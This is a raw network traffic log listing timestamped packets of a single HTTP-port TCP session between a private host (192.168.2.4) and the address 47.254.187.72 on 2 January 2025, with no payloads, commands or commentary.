Jan 2, 2025 20:34:49.534708977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.534720898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.534738064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.534786940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.539422035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.539441109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.539452076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.539463997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.539470911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.539473057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.539491892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.539519072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.539560080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.544142962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.544166088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.544178963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.544189930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.544200897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.544200897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.544224024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.544270992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.577137947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.577152967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.577166080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.577195883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.577219009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.577261925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.611857891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.611875057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.611896038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.611907005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.611951113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.611984968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.616554976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.616597891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.616609097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.616616011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.616653919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.616697073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.621351004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.621373892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.621383905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.621391058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.621397972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.621408939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.621413946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.621414900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.621454000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.621478081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.626107931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.626126051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.626137972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.626148939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.626157045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.626159906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.626185894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.626224995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.630892992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.630911112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.630923033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.630934000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.630949020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.630981922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.635654926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.635685921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.635698080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.635710001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.635720968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.635731936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.635776997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.640398026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.640415907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.640460014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.640474081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.640487909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.640490055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.640499115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.640521049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.640542030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.645196915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.645231009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.645242929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.645255089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.645266056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.645287037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.645327091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.649995089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.650013924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.650026083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.650038004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.650049925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.650063992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.650067091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.650074005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.650082111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.650137901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.663886070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.663899899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.663945913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.663957119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.663957119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.663969040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.664005041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.664016008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.664207935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.664249897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.698792934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.698811054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.698823929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.698874950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.698910952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.698913097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.698925972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.698936939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.698950052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.698956013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.698965073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.698977947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.699001074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.699532032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.699554920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.699568033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.699577093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.699582100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.699589014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.699592113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.699611902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.699645042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.700401068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.700413942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.700426102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.700436115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.700447083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.700448036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.700470924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.700489998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.701160908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.701175928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.701186895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.701198101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.701199055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.701211929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.701231003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.701261044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.702038050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.702054024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.702073097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.702085018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.702086926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.702097893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.702121019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.702142954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.702907085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.702929020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.702940941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.702950954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.702963114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.702963114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.702982903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.703016043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.703635931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.703681946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.703684092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.703695059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.703722954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.703742981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.703756094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.703757048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.703778982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.703802109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.704484940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.704504013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.704515934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.704526901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.704541922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.704557896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.704986095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.705010891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.705023050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.705065012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.705321074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.705374956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.705471039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.705507040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.705682039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.705719948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.705806971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.705843925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.705854893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.705885887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.706208944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.706219912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.706237078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.706242085 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.706248999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.706259966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.706263065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.706285000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.706320047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.707154989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707170010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707181931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707191944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707204103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707205057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.707221031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.707248926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.707904100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707922935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707935095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707945108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707952023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707957029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.707987070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.708051920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.708095074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.708831072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.708853006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.708865881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.708875895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.708888054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.708893061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.708900928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.708909988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.708910942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.708919048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.708942890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.750791073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750811100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750827074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750845909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750857115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750864029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.750866890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750884056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750895977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750895977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.750904083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.750906944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750920057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750921965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.750943899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750952959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.750961065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750972986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.750978947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.751008987 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.785602093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785625935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785649061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785665989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785677910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785689116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785695076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.785700083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785715103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785725117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.785731077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785742998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785773039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.785794973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.785953999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785964966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785976887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.785991907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786020041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786026955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786031961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786042929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786053896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786061049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786063910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786111116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786142111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786286116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786302090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786313057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786329031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786346912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786442995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786453962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786469936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786480904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786487103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786490917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786503077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786505938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786535978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786540031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786550045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786561012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786566019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786571980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786583900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786597967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786628962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.786974907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.786993980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787022114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787050009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787060976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787060976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787072897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787084103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787087917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787108898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787134886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787296057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787307024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787332058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787343025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787350893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787362099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787378073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787385941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787389040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787399054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787404060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787440062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787609100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787650108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787655115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787667036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787693977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787710905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787718058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787723064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787734032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787744999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787750006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787774086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787800074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787877083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787888050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787898064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787909031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787919998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787924051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787930012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787950993 CET	80	49730	47.254.187.72	192.168.2.4
